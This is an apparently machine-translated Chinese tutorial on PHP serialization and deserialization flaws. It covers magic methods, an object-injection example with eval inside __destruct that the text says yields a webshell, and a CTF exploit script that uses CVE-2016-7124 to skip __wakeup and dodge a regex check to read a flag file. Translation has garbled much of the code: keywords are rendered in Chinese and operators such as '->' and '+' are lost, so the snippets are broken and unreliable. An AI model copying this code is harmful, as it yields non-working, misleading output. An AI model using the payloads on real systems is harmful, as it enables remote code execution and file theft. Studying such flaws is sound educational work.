php序列化和反序列化,php序列化和反序列化函数

php序列化和反序列化,php序列化和反序列化函数,详解php反序列化

本文主要介绍php反序列化的相关知识。讲解非常详细,代码帮助你更好的理解和学习。感兴趣的朋友可以了解一下。

1 前言

最近在复习之前学了点东西。感觉对PHP反序列化有了更深的理解,这里就总结一下。

2 serialize()函数

“php中的所有值都可以通过使用serialize()函数返回包含字节流的字符串来表示。序列化对象将保存对象的所有变量,但不保存对象的方法,只保存类名。

刚开始这个概念可能有点混乱,后来慢慢就明白了。

在程序执行结束时,内存数据会被立即销毁。变量存储的数据是内存数据,而文件和数据库是“持久数据”。因此,PHP序列化是将内存中的可变数据“保存”到文件中的持久数据的过程。

$s=序列化($ variable);//此函数将变量数据序列化为字符串。

文件内容(。/目标文本文件,$ s);//将$s保存到指定文件

让我们通过一个具体的例子来看看序列化:

?服务器端编程语言(Professional Hypertext Preprocessor的缩写)

类别用户

{

public $ age=0;

public $ name=“”;

公共函数PrintData()

{

回显“用户”。$这个名字。是。$这个年龄。岁。br/;

}

}

//创建一个对象

$ User=new User();

//设置数据

$ user-age=20;

$ user-name= Daye ;

//输出数据

$ user-print data();

//输出序列化数据

echo serialize($ user);

这是结果:

可以看到,序列化一个对象后,该对象的所有变量都会被保存,序列化的结果有一个字符,就是下面几个字母的缩写。

a数组b布尔型

d -双i -整数

o -公共对象r -参考

自定义对象

o类N -空

r指针引用U - unicode字符串

知道了缩写类型字母,就可以得到PHP序列化格式。

O:4:“用户”:2:{s:3:“年龄”;I:20;s:4:‘姓名’;s:4:‘大爷’;}

类型:长度:“类名”:类中变量的数量:{类型:长度:“值”;类型:长度:“值”;}

通过上面的例子,可以理解通过serialize()函数返回包含字节流的字符串的概念。

3 unserialize()函数

Unserialize()对单个序列化变量进行操作,并将其转换回PHP的值。在反序列化对象之前,必须在反序列化之前定义对象的类。

简单理解,即使将文件中存储的序列化数据还原为程序代码的变量表示,也是还原变量序列化前的结果。

$ s=file _ get _ contents(。/目标文本文件’);//获取文本文件的内容(以前序列化的字符串)

$ variable=unserialize($ s);//将文本内容反序列化到指定变量中。

通过一个示例了解反序列化:

?服务器端编程语言(Professional Hypertext Preprocessor的缩写)

类别用户

{

public $ age=0;

public $ name=“”;

公共函数PrintData()

{

回显“用户”。$这个名字。是。$这个年龄。岁。br/;

}

}

//重建对象

$user=unserialize(O:4:“用户”:2:{s:3:“年龄”;I:20;s:4:‘姓名’;s:4:‘大爷’;});

$ user-print data();

这是结果:

注意:在解序列化一个对象前,这个对象的类必须在解序列化之前定义。否则会报错

4 PHP反序列化漏洞

在学习漏洞之前,我们先来学习一下PHP神奇的函数,对接下来的学习会有很大的帮助。

PHP将所有以_ _(两个下划线)开头的类方法都作为神奇的方法。

_ _构造在创建对象时调用,

_ _ _销毁在对象被销毁时调用,

__toString当对象作为字符串调用时。

__wakeup()在使用unserialize时激发。

使用serialize时会触发__sleep()。

当__destruct()对象被销毁时触发

__call()在对象的上下文中调用不可访问的方法时触发。

__callStatic()在静态上下文中调用不可访问的方法时触发。

__get()用于从不可访问的属性中读取数据。

__set()用于将数据写入不可访问的属性。

__isset()对不可访问的属性调用isset()或empty()触发器。

__unset()在unset()用于不可访问的属性时触发。

__toString()在类作为字符串使用时触发,返回值需要是字符串。

__invoke()在脚本试图将对象作为函数调用时激发。

这里只列举了一部分神奇的功能,具体可以看。

https://www.php.net/manual/zh/language.oop5.magic.php

我们举个例子来了解一下神奇函数被自动调用的过程。

?服务器端编程语言(Professional Hypertext Preprocessor的缩写)

类别测试{

public $ varr1= abc

public $ varr2= 123

公共函数echoP(){

echo $this-varr1。br ;

}

公共函数__construct(){

回显“_ _ construct br”;

}

公共函数__destruct(){

回显“_ _ destructbr”;

}

公共函数__toString(){

返回“_ _ tostring br”;

}

公共函数__sleep(){

echo _ _ sleepbr

返回数组( varr1 , var R2 );

}

公共函数__wakeup(){

echo“_ _ wake upbr”;

}

}

$ obj=new test();//实例化对象,调用__construct()方法,输出__construct

$ obj-echoP();//调用echoP()方法并输出“abc”

echo $ obj//obj对象作为字符串输出,调用__toString()方法,输出__toString。

$ s=serialize($ obj);//obj对象序列化,调用__sleep()方法,输出__sleep。

echo不序列化($ s);//$s将首先被反序列化,并将调用__wake()方法。当反序列化的对象被视为字符串时,将调用_toString()方法。

//脚本最后会调用_ _ destroy()方法输出_ _ destroy。

这是结果:

通过这个例子,我们可以清楚地看到,神奇的函数在满足相应的条件时就会被调用。

5 对象注入

当用户的请求在被传递给unserialize函数()之前没有被正确过滤时,就会出现漏洞。由于PHP允许对象序列化,攻击者可以利用该漏洞向非序列化函数提交特定的序列化字符串,最终导致应用程序范围内任何PHP对象的注入。

对象漏洞有两个先决条件:

首先,非序列化的参数是可控的。

第二,有一个类在代码中定义了magic方法,有一些有安全问题的函数在这个方法中使用类成员变量作为参数。

这里有一个例子:

?服务器端编程语言(Professional Hypertext Preprocessor的缩写)

A级

var $ test= demo

函数__destruct(){

echo $ this-test;

}

}

$ a=$ _ GET[ test ];

$a_unser=取消序列化($ a);

例如,如果用户生成的内容将该列直接传递给unserialize()函数,则可以构造这样一个语句。

?test=O:1: A :1:{ s:4: test ;s:5:‘柠檬’;}

脚本最后会调用_ destroy函数,测试变量输出lemon会被覆盖。

如果发现此漏洞,就可以利用它来控制输入变量,并将它们拼接成序列化对象。

再看另一个例子:

?服务器端编程语言(Professional Hypertext Preprocessor的缩写)

A级

var $ test= demo

函数__destruct(){

@ eval($ this-test);在destroy()函数中调用//_ eval来执行序列化对象中的语句。

}

}

$ test=$ _ POST[ test ];

$ len=strlen($ test)1;

$pp=O:1:A:1:{s:4:测试;s:。$len。:.$test。};//构造一个序列化对象

$ test _ unser=unserialize($ PP);//反序列化同时触发_ destroy函数

其实仔细看会发现,其实我们手动构造序列化对象,让unserialize()函数触发_ _ destroy()函数,然后执行_ _ destroy()函数中的恶意语句。

所以我们可以利用这个漏洞来获取web外壳。

6绕过神奇函数的反序列化

wakeup()魔法函数绕过

PHP55

PHP77.0.10

PHP反序列化漏洞CVE-2016-7124

#a#重要提示:当指示反序列化字符串中属性的数量的值大于实际属性的数量时,将绕过__wakeup函数的执行。

百度——哈希

其实仔细分析代码,只要能绕过两点,就能得到f15g _ f15g_1s_here.php的内容

(1)绕过正则表达式检查变量。

(2)绕过_wakeup()魔函数,因为如果我们反序列化的不是Gu3ss_m3_h2h2.php,这个魔函数会在反序列化的时候触发并强制转换成Gu3ss_m3_h2h2.php。

那么问题来了,如果绕过正则表达式

(1)/[oc]:d :/i例如:o:4:这个会匹配,很容易绕过。只要加一个,这个正则表达式就匹配不到0: 4:

(2)绕过_wakeup()魔法函数。上面提到过,当指示反串行化字符串中属性数量的值大于真实属性数量时,将绕过_wakeup函数的执行。

编写php序列化脚本

?服务器端编程语言(Professional Hypertext Preprocessor的缩写)

课程演示{

private $ file= Gu3ss _ m3 _ H2 H2 . PHP ;

公共函数__construct($file) {

$ this-file=$ file;

}

函数__destruct() {

echo @highlight_file($this-file,true);

}

函数__wakeup() {

如果($这个——文件!=Gu3ss_m3_h2h2.php) {

//秘密就在f15g_1s_here.php里

$ this-file= Gu3ss _ m3 _ H2 H2 . PHP ;

}

}

}

#先创建一个对象,自动调用__construct magic函数。

$ obj=new Demo( f15g _ 1s _ here . PHP );

#要序列化

$ a=serialize($ obj);

#使用str_replace()函数进行替换,以绕过正则表达式检查。

$a=str_replace(O:4:, O:4:,$ a);

#使用str_replace()函数替换以绕过__wakeup()魔法函数。

$a=str_replace(:1:,:2:,$ a);

#然后执行base64编码。

echo base64 _ encode($ a);

以上是php反序列化的详细内容。关于php反序列化的更多信息,请关注我们的其他相关文章!

php序列化和反序列化,php序列化和反序列化函数